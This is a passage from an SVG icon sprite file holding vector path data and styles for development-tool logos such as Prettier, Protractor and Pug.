1.083 1.969 2.43-.287 1.347-1.627 2.433-3.004 2.434l-9.957.006c-1.378 0-2.256-1.083-1.969-2.43.287-1.347 1.626-2.433 3.004-2.434l9.957-.006z" fill="#03a9f4" stroke-width="5.342" stroke-linejoin="round"/></symbol><symbol viewBox="0 0 210 210" id="prettier" xmlns="http://www.w3.org/2000/svg"><title>prettier-icon-dark</title><g transform="matrix(.9 0 0 .9 10.5 10.5)" fill="none" fill-rule="evenodd"><rect fill="#56B3B4" x="165" y="40" width="20" height="10" rx="5"/><rect fill="#EA5E5E" x="15" y="200" width="60" height="10" rx="5"/><rect fill="#BF85BF" x="135" y="120" width="40" height="10" rx="5"/><rect fill="#EA5E5E" x="75" y="120" width="50" height="10" rx="5"/><rect fill="#56B3B4" x="15" y="120" width="50" height="10" rx="5"/><rect fill="#BF85BF" x="15" y="160" width="60" height="10" rx="5"/><rect fill="#BF85BF" x="15" y="80" width="60" height="10" rx="5"/><rect fill="#F7BA3E" x="65" y="20" width="110" height="10" rx="5"/><rect fill="#EA5E5E" x="15" y="20" width="40" height="10" rx="5"/><rect fill="#F7BA3E" x="55" y="180" width="20" height="10" rx="5"/><rect fill="#56B3B4" x="55" y="60" width="20" height="10" rx="5"/><rect fill="#56B3B4" x="15" y="180" width="30" height="10" rx="5"/><rect fill="#F7BA3E" x="15" y="60" width="30" height="10" rx="5"/><rect fill="#56B3B4" x="95" y="100" width="90" height="10" rx="5"/><rect fill="#F7BA3E" x="45" y="100" width="40" height="10" rx="5"/><rect fill="#EA5E5E" x="15" y="100" width="20" height="10" rx="5"/><rect fill="#BF85BF" x="105" y="40" width="50" height="10" rx="5"/><rect fill="#56B3B4" x="15" y="40" width="80" height="10" rx="5"/><rect fill="#F7BA3E" x="45" y="140" width="100" height="10" rx="5"/><rect fill="#BF85BF" x="15" y="140" width="20" height="10" rx="5"/><rect fill="#EA5E5E" x="135" y="60" width="60" height="10" rx="5"/><rect fill="#F7BA3E" x="135" y="80" width="60" height="10" rx="5"/><rect fill="#56B3B4" x="15" width="130" height="10" rx="5"/></g></symbol><symbol viewBox="0 0 80 80" id="protractor" xmlns="http://www.w3.org/2000/svg"><defs><clipPath id="hxa"><path transform="scale(1 -1)" fill="#564b55" stroke-width="27.224" d="M-2.983-69.251h69.412v67.108H-2.983z"/></clipPath></defs><g transform="matrix(1.13039 0 0 -1.13039 5.714 82.137)" clip-path="url(#hxa)"><g transform="scale(.1)"><path d="M1180.54 92.324c-5.53 0-9.93-1.797-13.23-5.39-3.29-3.614-5.22-8.594-5.81-14.97h36.02c0 6.583-1.47 11.622-4.4 15.126-2.93 3.496-7.12 5.234-12.58 5.234zm2.84-62.656c-10.19 0-18.22 3.086-24.11 9.297-5.88 6.21-8.83 14.824-8.83 25.84 0 11.101 2.73 19.922 8.21 26.464 5.45 6.524 12.81 9.805 22.02 9.805 8.63 0 15.46-2.851 20.48-8.523 5.03-5.676 7.55-13.157 7.55-22.461v-6.613h-47.45c.21-8.086 2.26-14.22 6.12-18.418 3.89-4.18 9.34-6.29 16.38-6.29 7.42 0 14.76 1.563 22 4.669V34.14c-3.68-1.602-7.18-2.746-10.48-3.438-3.28-.684-7.24-1.035-11.89-1.035M1272.34 30.918v44.57c0 5.606-1.28 9.805-3.82 12.559-2.56 2.773-6.56 4.16-12.02 4.16-7.2 0-12.49-1.953-15.84-5.851-3.34-3.895-5.03-10.32-5.03-19.286V30.918h-10.42v68.887h8.47l1.71-9.422h.5c2.14 3.387 5.14 6.023 8.99 7.887 3.85 1.867 8.15 2.804 12.88 2.804 8.29 0 14.54-2.011 18.73-6.015 4.19-3.985 6.28-10.391 6.28-19.192V30.918h-10.43M1328.96 38.406c7.1 0 12.27 1.938 15.48 5.813 3.22 3.879 4.81 10.129 4.81 18.758v2.199c0 9.765-1.62 16.726-4.87 20.898-3.25 4.18-8.44 6.25-15.56 6.25-6.11 0-10.79-2.383-14.04-7.129-3.26-4.746-4.88-11.472-4.88-20.136 0-8.797 1.61-15.45 4.84-19.93 3.23-4.484 7.97-6.723 14.22-6.723zm20.85 1.762h-.56c-4.83-7.004-12.02-10.5-21.62-10.5-9.01 0-16.03 3.066-21.04 9.238-5 6.153-7.5 14.922-7.5 26.27 0 11.355 2.51 20.176 7.54 26.465 5.03 6.289 12.03 9.433 21 9.433 9.34 0 16.5-3.398 21.49-10.195h.81l-.43 4.96-.25 4.845v28.039h10.43V30.918h-8.49l-1.38 9.25M1434.91 38.27c1.85 0 3.63.136 5.34.421 1.72.274 3.09.547 4.1.84v-7.976c-1.15-.559-2.81-.996-5.01-1.36-2.18-.351-4.17-.527-5.94-.527-13.32 0-19.97 7.012-19.97 21.055V91.71h-9.88v5.027l9.88 4.336 4.38 14.707h6.04V99.805h20V91.71h-20V51.16c0-4.15.98-7.333 2.96-9.56 1.97-2.206 4.67-3.331 8.1-3.331M1463.81 65.43c0-8.809 1.76-15.508 5.27-20.118 3.53-4.609 8.69-6.906 15.53-6.906s12.01 2.297 15.56 6.875c3.53 4.602 5.3 11.301 5.3 20.149 0 8.75-1.77 15.41-5.3 19.953-3.55 4.539-8.77 6.824-15.69 6.824-6.82 0-11.99-2.246-15.47-6.73-3.46-4.48-5.2-11.16-5.2-20.047zm52.47 0c0-11.23-2.83-20-8.48-26.309-5.66-6.309-13.47-9.453-23.44-9.453-6.17 0-11.64 1.445-16.42 4.336-4.78 2.89-8.46 7.031-11.06 12.45-2.59 5.401-3.88 11.73-3.88 18.976 0 11.23 2.8 19.968 8.41 26.242 5.61 6.258 13.4 9.402 23.38 9.402 9.64 0 17.3-3.222 22.97-9.62 5.69-6.415 8.52-15.087 8.52-26.024M1591.71 92.324c-5.54 0-9.94-1.797-13.23-5.39-3.3-3.614-5.24-8.594-5.81-14.97h36c0 6.583-1.46 11.622-4.39 15.126-2.93 3.496-7.13 5.234-12.57 5.234zm2.83-62.656c-10.19 0-18.22 3.086-24.11 9.297-5.89 6.21-8.83 14.824-8.83 25.84 0 11.101 2.74 19.922 8.2 26.464 5.46 6.524 12.81 9.805 22.04 9.805 8.62 0 15.45-2.851 20.48-8.523 5.03-5.676 7.54-13.157 7.54-22.461v-6.613h-47.45c.21-8.086 2.25-14.22 6.13-18.418 3.87-4.18 9.33-6.29 16.36-6.29 7.43 0 14.77 1.563 22.01 4.669V34.14c-3.69-1.602-7.17-2.746-10.46-3.438-3.3-.684-7.27-1.035-11.91-1.035M1683.5 30.918v44.57c0 5.606-1.27 9.805-3.83 12.559-2.55 2.773-6.55 4.16-12.01 4.16-7.2 0-12.48-1.953-15.83-5.851-3.35-3.895-5.03-10.32-5.03-19.286V30.918h-10.43v68.887h8.48l1.69-9.422h.51c2.14 3.387 5.14 6.023 8.99 7.887 3.84 1.867 8.15 2.804 12.88 2.804 8.3 0 14.54-2.011 18.74-6.015 4.19-3.985 6.29-10.391 6.29-19.192V30.918h-10.45M1740.11 38.406c7.12 0 12.28 1.938 15.49 5.813 3.21 3.879 4.81 10.129 4.81 18.758v2.199c0 9.765-1.62 16.726-4.87 20.898-3.25 4.18-8.43 6.25-15.56 6.25-6.12 0-10.8-2.383-14.05-7.129-3.24-4.746-4.88-11.472-4.88-20.136 0-8.797 1.64-15.45 4.85-19.93 3.22-4.484 7.96-6.723 14.21-6.723zm20.87 1.762h-.57c-4.82-7.004-12.03-10.5-21.62-10.5-9.01 0-16.02 3.066-21.03 9.238-5 6.153-7.52 14.922-7.52 26.27 0 11.355 2.52 20.176 7.55 26.465 5.02 6.289 12.02 9.433 21 9.433 9.34 0 16.5-3.398 21.48-10.195h.83l-.44 4.96-.25 4.845v28.039h10.43V30.918h-8.49l-1.37 9.25M1846.07 38.27c1.85 0 3.64.136 5.36.421 1.7.274 3.07.547 4.08.84v-7.976c-1.13-.559-2.8-.996-5-1.36-2.2-.351-4.18-.527-5.94-.527-13.33 0-19.99 7.012-19.99 21.055V91.71h-9.86v5.027l9.86 4.336 4.4 14.707h6.04V99.805H1855V91.71h-19.98V51.16c0-4.15.98-7.333 2.95-9.56 1.97-2.206 4.68-3.331 8.1-3.331M1894.26 92.324c-5.53 0-9.94-1.797-13.22-5.39-3.31-3.614-5.25-8.594-5.83-14.97h36.01c0 6.583-1.45 11.622-4.38 15.126-2.95 3.496-7.13 5.234-12.58 5.234zm2.83-62.656c-10.19 0-18.22 3.086-24.1 9.297-5.9 6.21-8.84 14.824-8.84 25.84 0 11.101 2.73 19.922 8.2 26.464 5.47 6.524 12.81 9.805 22.03 9.805 8.63 0 15.46-2.851 20.49-8.523 5.03-5.676 7.55-13.157 7.55-22.461v-6.613h-47.46c.22-8.086 2.26-14.22 6.13-18.418 3.87-4.18 9.33-6.29 16.37-6.29 7.42 0 14.75 1.563 22 4.669V34.14c-3.7-1.602-7.17-2.746-10.47-3.438-3.28-.684-7.25-1.035-11.9-1.035M1983.36 49.727c0-6.426-2.4-11.368-7.18-14.844-4.77-3.477-11.47-5.215-20.11-5.215-9.13 0-16.26 1.445-21.37 4.336v9.687a51.32 51.32 0 0 1 10.65-3.964c3.79-.977 7.45-1.457 10.97-1.457 5.46 0 9.64.87 12.57 2.609 2.95 1.738 4.41 4.394 4.41 7.95 0 2.694-1.17 4.98-3.5 6.894-2.32 1.914-6.85 4.152-13.6 6.757-6.41 2.383-10.97 4.473-13.67 6.25-2.71 1.778-4.72 3.81-6.04 6.067-1.31 2.254-1.98 4.96-1.98 8.113 0 5.606 2.29 10.04 6.86 13.281 4.57 3.25 10.84 4.883 18.79 4.883 7.42 0 14.66-1.515 21.74-4.531l-3.71-8.496c-6.9 2.851-13.17 4.277-18.79 4.277-4.94 0-8.67-.77-11.18-2.324-2.52-1.543-3.78-3.691-3.78-6.406 0-1.844.48-3.418 1.42-4.707.95-1.309 2.46-2.54 4.56-3.711 2.09-1.184 6.11-2.871 12.07-5.086 8.16-2.98 13.69-5.98 16.55-8.996 2.87-3.02 4.32-6.809 4.32-11.367M2021.28 38.27c1.85 0 3.64.136 5.35.421 1.71.274 3.09.547 4.09.84v-7.976c-1.14-.559-2.81-.996-5.01-1.36-2.18-.351-4.18-.527-5.93-.527-13.33 0-19.99 7.012-19.99 21.055V91.71h-9.87v5.027l9.87 4.336 4.4 14.707h6.02V99.805h20V91.71h-20V51.16c0-4.15 1-7.333 2.97-9.56 1.98-2.206 4.67-3.331 8.1-3.331M2053.61 30.918h-10.42v68.887h10.42zm-11.31 87.559c0 2.39.59 4.14 1.76 5.253 1.18 1.106 2.65 1.661 4.42 1.661 1.67 0 3.1-.567 4.32-1.7 1.22-1.132 1.82-2.871 1.82-5.214 0-2.344-.6-4.09-1.82-5.247-1.22-1.16-2.65-1.726-4.32-1.726-1.77 0-3.24.566-4.42 1.726-1.17 1.157-1.76 2.903-1.76 5.247M2121.59 30.918v44.57c0 5.606-1.27 9.805-3.83 12.559-2.55 2.773-6.55 4.16-12 4.16-7.21 0-12.49-1.953-15.84-5.851-3.35-3.895-5.03-10.32-5.03-19.286V30.918h-10.43v68.887h8.49l1.69-9.422h.5c2.15 3.387 5.14 6.023 8.99 7.887 3.85 1.867 8.16 2.804 12.88 2.804 8.3 0 14.54-2.011 18.74-6.015 4.19-3.985 6.29-10.391 6.29-19.192V30.918h-10.45M2159.29 77.742c0-4.812 1.35-8.465 4.08-10.926 2.72-2.48 6.51-3.71 11.37-3.71 10.19 0 15.28 4.953 15.28 14.831 0 10.344-5.16 15.532-15.47 15.532-4.9 0-8.67-1.32-11.31-3.965-2.63-2.649-3.95-6.555-3.95-11.762zm-5.67-58.387c0-3.73 1.58-6.55 4.72-8.488 3.14-1.922 7.65-2.879 13.52-2.879 8.75 0 15.24 1.309 19.45 3.926 4.21 2.617 6.31 6.172 6.31 10.652 0 3.723-1.15 6.32-3.45 7.754-2.31 1.457-6.65 2.168-13.01 2.168h-12.51c-4.74 0-8.43-1.12-11.06-3.386-2.65-2.266-3.97-5.508-3.97-9.747zm54.94 80.45v-6.582l-12.76-1.512c1.18-1.477 2.23-3.39 3.15-5.754.91-2.371 1.37-5.039 1.37-8.02 0-6.746-2.29-12.128-6.91-16.152-4.61-4.012-10.93-6.023-18.98-6.023-2.05 0-3.98.156-5.78.5-4.45-2.356-6.67-5.305-6.67-8.871 0-1.883.77-3.282 2.34-4.176 1.54-.902 4.21-1.36 7.97-1.36h12.2c7.46 0 13.19-1.574 17.19-4.707 4-3.144 6-7.714 6-13.71 0-7.618-3.06-13.426-9.17-17.43C2192.38 2.004 2183.46 0 2171.72 0c-9 0-15.95 1.68-20.82 5.027-4.88 3.352-7.34 8.079-7.34 14.211 0 4.18 1.35 7.813 4.03 10.88 2.68 3.046 6.45 5.116 11.32 6.21-1.77.8-3.24 2.031-4.44 3.711-1.19 1.68-1.78 3.633-1.78 5.84 0 2.52.66 4.707 2.01 6.602 1.34 1.882 3.44 3.71 6.34 5.468-3.56 1.465-6.46 3.953-8.71 7.48-2.23 3.516-3.35 7.54-3.35 12.06 0 7.55 2.26 13.37 6.79 17.452 4.52 4.082 10.93 6.133 19.22 6.133 3.6 0 6.86-.429 9.75-1.27h23.82M2284.61 91.71h-17.54V30.919h-10.43v60.793h-12.31v4.707l12.31 3.766v3.839c0 16.922 7.4 25.391 22.19 25.391 3.65 0 7.93-.73 12.82-2.195l-2.7-8.364c-4.03 1.301-7.46 1.946-10.31 1.946-3.93 0-6.85-1.309-8.73-3.926-1.89-2.617-2.84-6.816-2.84-12.598v-4.472h17.54V91.71M2302.87 65.43c0-8.809 1.76-15.508 5.28-20.118 3.52-4.609 8.7-6.906 15.52-6.906 6.84 0 12.02 2.297 15.57 6.875 3.54 4.602 5.3 11.301 5.3 20.149 0 8.75-1.76 15.41-5.3 19.953-3.55 4.539-8.78 6.824-15.69 6.824-6.83 0-11.99-2.246-15.46-6.73-3.48-4.48-5.22-11.16-5.22-20.047zm52.48 0c0-11.23-2.82-20-8.47-26.309-5.67-6.309-13.48-9.453-23.46-9.453-6.15 0-11.62 1.445-16.4 4.336-4.77 2.89-8.47 7.031-11.06 12.45-2.59 5.401-3.9 11.73-3.9 18.976 0 11.23 2.81 19.968 8.43 26.242 5.6 6.258 13.4 9.402 23.38 9.402 9.63 0 17.28-3.222 22.97-9.62 5.68-6.415 8.51-15.087 8.51-26.024M2403.79 101.074c3.07 0 5.8-.254 8.22-.761l-1.43-9.676c-2.86.633-5.37.933-7.55.933-5.58 0-10.33-2.261-14.3-6.785-3.95-4.531-5.94-10.156-5.94-16.902V30.918h-10.43v68.887h8.62l1.19-12.754h.5c2.56 4.48 5.63 7.949 9.23 10.37 3.61 2.423 7.56 3.653 11.89 3.653M2500.33 69.766l-10.68 28.476c-1.39 3.594-2.81 8.028-4.28 13.262-.93-4.024-2.24-8.438-3.96-13.262l-10.81-28.476zm14.77-38.848l-11.44 29.227h-36.83l-11.32-29.227h-10.81l36.34 92.273h8.98l36.13-92.273h-11.05M2583.07 30.918v44.57c0 5.606-1.27 9.805-3.83 12.559-2.55 2.773-6.55 4.16-12 4.16-7.21 0-12.49-1.953-15.84-5.851-3.35-3.895-5.03-10.32-5.03-19.286V30.918h-10.43v68.887h8.48l1.69-9.422h.51c2.14 3.387 5.14 6.023 8.99 7.887 3.84 1.867 8.15 2.804 12.88 2.804 8.3 0 14.54-2.011 18.74-6.015 4.19-3.985 6.29-10.391 6.29-19.192V30.918h-10.45M2620.76 77.742c0-4.812 1.36-8.465 4.08-10.926 2.73-2.48 6.53-3.71 11.37-3.71 10.2 0 15.28 4.953 15.28 14.831 0 10.344-5.15 15.532-15.45 15.532-4.91 0-8.68-1.32-11.32-3.965-2.64-2.649-3.96-6.555-3.96-11.762zm-5.66-58.387c0-3.73 1.57-6.55 4.71-8.488 3.15-1.922 7.65-2.879 13.53-2.879 8.75 0 15.23 1.309 19.44 3.926 4.21 2.617 6.31 6.172 6.31 10.652 0 3.723-1.14 6.32-3.45 7.754-2.31 1.457-6.64 2.168-13 2.168h-12.51c-4.74 0-8.43-1.12-11.07-3.386-2.63-2.266-3.96-5.508-3.96-9.747zm54.94 80.45v-6.582l-12.76-1.512c1.18-1.477 2.22-3.39 3.14-5.754.92-2.371 1.38-5.039 1.38-8.02 0-6.746-2.3-12.128-6.92-16.152-4.61-4.012-10.92-6.023-18.97-6.023-2.05 0-3.99.156-5.78.5-4.46-2.356-6.67-5.305-6.67-8.871 0-1.883.78-3.282 2.33-4.176 1.55-.902 4.21-1.36 7.98-1.36h12.2c7.46 0 13.18-1.574 17.18-4.707 4.01-3.144 6-7.714 6-13.71 0-7.618-3.06-13.426-9.17-17.43C2653.87 2.004 2644.94 0 2633.2 0c-9 0-15.95 1.68-20.83 5.027-4.88 3.352-7.33 8.079-7.33 14.211 0 4.18 1.35 7.813 4.02 10.88 2.69 3.046 6.47 5.116 11.32 6.21-1.77.8-3.23 2.031-4.43 3.711-1.19 1.68-1.79 3.633-1.79 5.84 0 2.52.66 4.707 2.01 6.602 1.35 1.882 3.45 3.71 6.35 5.468-3.56 1.465-6.47 3.953-8.71 7.48-2.23 3.516-3.35 7.54-3.35 12.06 0 7.55 2.25 13.37 6.79 17.452 4.52 4.082 10.92 6.133 19.21 6.133 3.62 0 6.86-.429 9.75-1.27h23.83M2692.7 99.805V55.117c0-5.605 1.27-9.805 3.83-12.566 2.56-2.766 6.57-4.145 12.01-4.145 7.2 0 12.47 1.965 15.81 5.903 3.33 3.945 4.99 10.379 4.99 19.304v36.192h10.44V30.918h-8.62l-1.5 9.25h-.58c-2.13-3.41-5.1-5.988-8.88-7.793-3.8-1.809-8.13-2.707-12.99-2.707-8.37 0-14.65 1.992-18.81 5.977-4.18 3.964-6.26 10.351-6.26 19.101v45.059h10.56M2760.61 30.918h10.43v97.805h-10.43zM2810.67 38.27c6.5 0 11.6 1.789 15.31 5.343 3.71 3.575 5.56 8.555 5.56 14.961v6.23l-10.44-.448c-8.3-.286-14.27-1.583-17.94-3.868-3.66-2.273-5.5-5.82-5.5-10.644 0-3.781 1.14-6.64 3.42-8.613 2.29-1.973 5.48-2.961 9.59-2.961zm23.57-7.352l-2.07 9.805h-.51c-3.44-4.305-6.86-7.227-10.27-8.77-3.42-1.523-7.68-2.285-12.8-2.285-6.83 0-12.17 1.758-16.05 5.273-3.87 3.528-5.81 8.536-5.81 15.032 0 13.906 11.12 21.199 33.37 21.875l11.7.359v4.277c0 5.418-1.17 9.395-3.5 11.985-2.32 2.566-6.03 3.855-11.15 3.855-5.74 0-12.24-1.758-19.49-5.273l-3.21 7.988c3.4 1.836 7.11 3.281 11.16 4.324a47.81 47.81 0 0 0 12.16 1.575c8.23 0 14.3-1.817 18.27-5.461 3.96-3.66 5.93-9.5 5.93-17.54V30.919h-7.73M2893.6 101.074c3.07 0 5.8-.254 8.25-.761l-1.46-9.676c-2.84.633-5.35.933-7.54.933-5.56 0-10.33-2.261-14.3-6.785-3.96-4.531-5.93-10.156-5.93-16.902V30.918h-10.44v68.887h8.61l1.19-12.754h.5c2.57 4.48 5.65 7.949 9.25 10.37 3.6 2.423 7.56 3.653 11.87 3.653M2901.63 6.727c-3.94 0-7.04.558-9.31 1.691v9.121c2.97-.84 6.08-1.25 9.31-1.25 4.14 0 7.3 1.25 9.45 3.77 2.16 2.507 3.24 6.132 3.24 10.859v91.895h10.69V31.797c0-7.95-2.01-14.121-6.04-18.496-4.02-4.383-9.8-6.574-17.34-6.574M2999.96 55.371c0-8.086-2.93-14.394-8.8-18.918-5.87-4.52-13.83-6.785-23.88-6.785-10.9 0-19.27 1.406-25.14 4.219v10.3c3.77-1.59 7.88-2.847 12.31-3.765 4.45-.93 8.85-1.399 13.21-1.399 7.12 0 12.49 1.36 16.09 4.063 3.59 2.695 5.4 6.465 5.4 11.277 0 3.196-.63 5.805-1.91 7.832-1.29 2.024-3.42 3.907-6.42 5.625-2.99 1.711-7.56 3.664-13.67 5.84-8.55 3.059-14.66 6.692-18.32 10.871-3.66 4.2-5.51 9.668-5.51 16.407 0 7.089 2.68 12.714 7.99 16.914 5.32 4.191 12.36 6.289 21.12 6.289 9.13 0 17.54-1.68 25.2-5.032l-3.32-9.304c-7.59 3.183-14.96 4.785-22.13 4.785-5.66 0-10.07-1.223-13.26-3.652-3.19-2.43-4.78-5.809-4.78-10.118 0-3.191.59-5.8 1.76-7.832 1.17-2.031 3.14-3.886 5.95-5.597 2.78-1.688 7.04-3.563 12.79-5.625 9.63-3.426 16.26-7.118 19.89-11.063 3.62-3.937 5.43-9.043 5.43-15.332M741.648 375.406h30c28.965 0 50.227 5.039 63.774 15.117 13.531 10.079 20.32 25.821 20.32 47.247 0 19.832-6.074 34.628-18.191 44.402-12.141 9.758-31.028 14.641-56.692 14.641h-39.211zm172.192 64.246c0-36.062-11.809-63.691-35.434-82.898-23.621-19.219-57.234-28.82-100.847-28.82h-35.911V198.73h-56.445v345.329h99.438c43.14 0 75.457-8.829 96.961-26.465 21.496-17.637 32.238-43.614 32.238-77.942M1099.26 464.691c11.17 0 20.39-.789 27.63-2.371l-5.43-51.718c-7.88 1.894-16.07 2.832-24.57 2.832-22.2 0-40.19-7.246-53.97-21.731-13.78-14.48-20.66-33.301-20.66-56.453V198.73h-55.514v261.227h43.464l7.32-46.055h2.83c8.66 15.594 19.96 27.95 33.9 37.09 13.93 9.141 28.93 13.699 45 13.699M1206.88 329.82c0-60.308 22.28-90.465 66.85-90.465 44.08 0 66.13 30.157 66.13 90.465 0 59.688-22.21 89.512-66.61 89.512-23.31 0-40.2-7.707-50.67-23.144-10.47-15.43-15.7-37.54-15.7-66.368zm190.13 0c0-42.672-10.95-75.972-32.83-99.898-21.89-23.945-52.35-35.918-91.41-35.918-24.41 0-45.97 5.508-64.7 16.543-18.75 11.016-33.16 26.836-43.23 47.48-10.08 20.625-15.11 44.551-15.11 71.793 0 42.364 10.86 75.43 32.58 99.2 21.73 23.777 52.36 35.671 91.89 35.671 37.79 0 67.7-12.156 89.75-36.492 22.05-24.328 33.06-57.121 33.06-98.379M1558.11 238.887c13.54 0 27.07 2.129 40.62 6.386v-41.816c-6.13-2.676-14.05-4.922-23.73-6.738-9.69-1.797-19.73-2.715-30.12-2.715-52.59 0-78.88 27.715-78.88 83.144v140.778h-35.68v24.558l38.26 20.325 18.9 55.261h34.26v-58.113h74.39v-42.031h-74.39v-139.84c0-13.379 3.34-23.242 10.03-29.629 6.69-6.387 15.48-9.57 26.34-9.57M1783.44 464.691c11.17 0 20.38-.789 27.62-2.371l-5.43-51.718c-7.88 1.894-16.06 2.832-24.56 2.832-22.2 0-40.2-7.246-53.97-21.731-13.78-14.48-20.66-33.301-20.66-56.453V198.73h-55.52v261.227h43.46l7.34-46.055h2.82c8.66 15.594 19.95 27.95 33.9 37.09 13.92 9.141 28.93 13.699 45 13.699M1925.05 236.523c20.15 0 36.32 5.625 48.52 16.895 12.21 11.25 18.31 27.051 18.31 47.344v22.676l-33.54-1.407c-26.13-.937-45.16-5.312-57.04-13.105-11.89-7.793-17.82-19.727-17.82-35.781 0-11.661 3.45-20.665 10.39-27.051 6.91-6.387 17.32-9.571 31.18-9.571zm82.66-37.793l-11.11 36.387h-1.87c-12.62-15.918-25.29-26.738-38.04-32.48-12.74-5.742-29.13-8.633-49.13-8.633-25.67 0-45.7 6.934-60.1 20.801-14.41 13.847-21.62 33.457-21.62 58.808 0 26.934 10 47.246 30 60.934 19.99 13.691 50.45 21.172 91.41 22.441l45.09 1.414v13.938c0 16.699-3.88 29.16-11.68 37.441-7.79 8.262-19.88 12.383-36.25 12.383-13.39 0-26.23-1.953-38.5-5.891a294.638 294.638 0 0 1-35.44-13.933l-17.94 39.668c14.17 7.41 29.68 13.035 46.52 16.894 16.85 3.868 32.77 5.789 47.72 5.789 33.22 0 58.31-7.246 75.22-21.726 16.94-14.492 25.4-37.246 25.4-68.262V198.73h-39.68M2220.04 194.004c-39.52 0-69.55 11.543-90.1 34.609-20.55 23.067-30.82 56.172-30.82 99.321 0 43.925 10.74 77.707 32.23 101.339 21.5 23.614 52.56 35.418 93.18 35.418 27.56 0 52.35-5.117 74.41-15.359l-16.78-44.641c-23.46 9.133-42.82 13.704-58.1 13.704-45.19 0-67.79-29.993-67.79-89.981 0-29.293 5.63-51.305 16.89-66.031 11.26-14.707 27.76-22.09 49.48-22.09 24.72 0 48.11 6.152 70.15 18.437v-48.417c-9.92-5.84-20.5-10-31.76-12.52-11.26-2.52-24.93-3.789-40.99-3.789M2451.52 238.887c13.54 0 27.08 2.129 40.63 6.386v-41.816c-6.15-2.676-14.05-4.922-23.73-6.738-9.69-1.797-19.73-2.715-30.12-2.715-52.6 0-78.9 27.715-78.9 83.144v140.778h-35.66v24.558l38.26 20.325 18.9 55.261h34.26v-58.113h74.39v-42.031h-74.39v-139.84c0-13.379 3.34-23.242 10.03-29.629 6.69-6.387 15.47-9.57 26.33-9.57M2585.92 329.82c0-60.308 22.28-90.465 66.84-90.465 44.09 0 66.15 30.157 66.15 90.465 0 59.688-22.22 89.512-66.62 89.512-23.31 0-40.2-7.707-50.67-23.144-10.47-15.43-15.7-37.54-15.7-66.368zm190.13 0c0-42.672-10.94-75.972-32.83-99.898-21.89-23.945-52.36-35.918-91.4-35.918-24.42 0-45.98 5.508-64.72 16.543-18.74 11.016-33.14 26.836-43.22 47.48-10.07 20.625-15.12 44.551-15.12 71.793 0 42.364 10.87 75.43 32.59 99.2 21.74 23.777 52.36 35.671 91.89 35.671 37.79 0 67.7-12.156 89.75-36.492 22.04-24.328 33.06-57.121 33.06-98.379M2972.33 464.691c11.18 0 20.38-.789 27.63-2.371l-5.43-51.718c-7.87 1.894-16.05 2.832-24.57 2.832-22.2 0-40.19-7.246-53.96-21.731-13.78-14.48-20.67-33.301-20.67-56.453V198.73h-55.51v261.227h43.46l7.33-46.055h2.83c8.66 15.594 19.96 27.95 33.89 37.09 13.94 9.141 28.94 13.699 45 13.699" fill="#100f0d"/><path d="M610.11 372.83c0-170.584-138.257-308.862-308.846-308.862-170.602 0-308.846 138.278-308.846 308.863 0 170.576 138.244 308.846 308.846 308.846 170.59 0 308.846-138.27 308.846-308.846" fill="#e53935" stroke-width="1.029"/><path d="M460.694 521.792l-105.04.958-61.415 61.415-72.096-47.883 12.445-12.438-29.207.26-99.129-166.817H67.357l24.39-24.402-24.57-41.363L294.66 64.049c2.192-.04 4.399-.08 6.603-.08 170.416 0 308.585 138.055 308.846 308.408L460.694 521.792" fill="#d51c2f" stroke-width="1.029"/><path d="M149.093 350.258c0 84.048 68.13 152.151 152.171 152.151 84.028 0 152.139-68.103 152.139-152.151zm342.063-7.017v14.046h44.015c-1.75 59.337-25.556 113.104-63.54 153.419L438.75 477.81l-9.925 9.94 32.875 32.887c-40.314 37.983-94.081 61.79-153.41 63.527l-.015-44.003h-14.035v44.003c-59.34-1.737-113.096-25.556-153.41-63.527l32.887-32.887-9.945-9.92-32.883 32.875c-37.975-40.315-61.781-94.082-63.53-153.419h44.002l-.008-14.034H67.176v-51.511h468.176v51.5h-44.196" fill="#f5f5f5" stroke-width="1.029"/></g></g></symbol><symbol id="pug" viewBox="0 0 128 128" xmlns="http://www.w3.org/2000/svg"><style>.st0{fill:#c1272d}.hyst1{fill:#efcca3}.st2{fill:#ed1c24}.hyst3{fill:#ccac8d}.hyst4{fill:#fff}.st5{fill:#ff931e}.st6{fill:#ffb81e}.hyst7{fill:#56332b}.hyst8{fill:#442823}.hyst9{fill:#7f4a41}.hyst10{fill:#331712}.st11{fill:#fc6}.st12{fill:#ccc}.st13{fill:#b3b3b3}.st14{fill:#989898}.st15{fill:#323232}.st16{fill:#1e1e1e}.st17{fill:#4c4c4c}.st18{fill:#e6e6e6}.st19{fill:#606060}</style><path class="hyst1" d="M107.4 50.9c-.2-4.4.4-8.3-1.6-11.6-4.8-8.2-16.8-13-40.8-13v.7h-.5.5v-.7c-24 0-36.6 4.8-41.4 13.1-1.9 3.4-1.7 7.2-2 11.6-.2 3.5-1.8 7.2-1.1 11.2.8 5.2 1.1 10.4 1.9 15.2.6 3.9 6 7.2 6.5 10.9 1.4 10.2 12 14.9 36 14.9v.8h-.6.7v-.8c24 0 34.2-4.7 35.5-14.9.5-3.8 5.5-7 6.1-10.9.8-4.8 1.1-10 1.9-15.2.7-4-.9-7.8-1.1-11.3z"/><path class="hyst3" d="M64.6 54.5c4.3.1 7.3 2.8 10.1 5.3 3.3 2.9 8.9 4.9 11.2 7.4 2.3 2.5 5.3 5 6.4 8.9 1.1 3.9 1.4 8.9 1.4 10.2 0 1.3.7 1 2.7 0 4.7-2.3 9.9-8.5 9.9-8.5-.6 3.9-5.7 7.4-6.2 11.1C98.9 99.1 89 104 64.5 104h-.1.6"/><path class="hyst3" d="M80.4 46.7c.9 3.1 4.1 13.6-2.1 10.1 0 0 2.6 1.5 4.2 7.2 1.7 5.7 5.8 6.4 5.8 6.4s6.7 1.3 11.7-3c4.2-3.6 4.9-10 3.1-14.9-1.8-4.8-5-6.3-9.7-7.3-4.7-1.1-14.1-2-13 1.5z"/><circle cx="92.3" cy="58.1" r="8.8"/><circle class="hyst4" cx="90" cy="54.2" r="2.3"/><path class="hyst1" d="M78.9 57.7s7.9 5.4 12.2 10.7c4.3 5.3 4.2 6.3 4.2 6.3l-3.1 1.4s-4.4-8.3-9.8-11.4c-5.5-3.1-6.1-5.7-6.1-5.7l2.6-1.3z"/><path class="hyst3" d="M64.9 54.5c-4.3.1-7.5 2.8-10.4 5.3-3.3 2.9-9.1 4.9-11.4 7.4-2.3 2.5-5.4 5-6.5 8.9-1.1 3.9-1.5 8.9-1.5 10.2 0 1.3.2 1.4-2.7 0-4.7-2.2-9.9-8.5-9.9-8.5.6 3.9 5.7 7.4 6.2 11.1C30.1 99.1 40 104 64.5 104h.5"/><path class="hyst7" d="M88.1 71.4C83.3 65.5 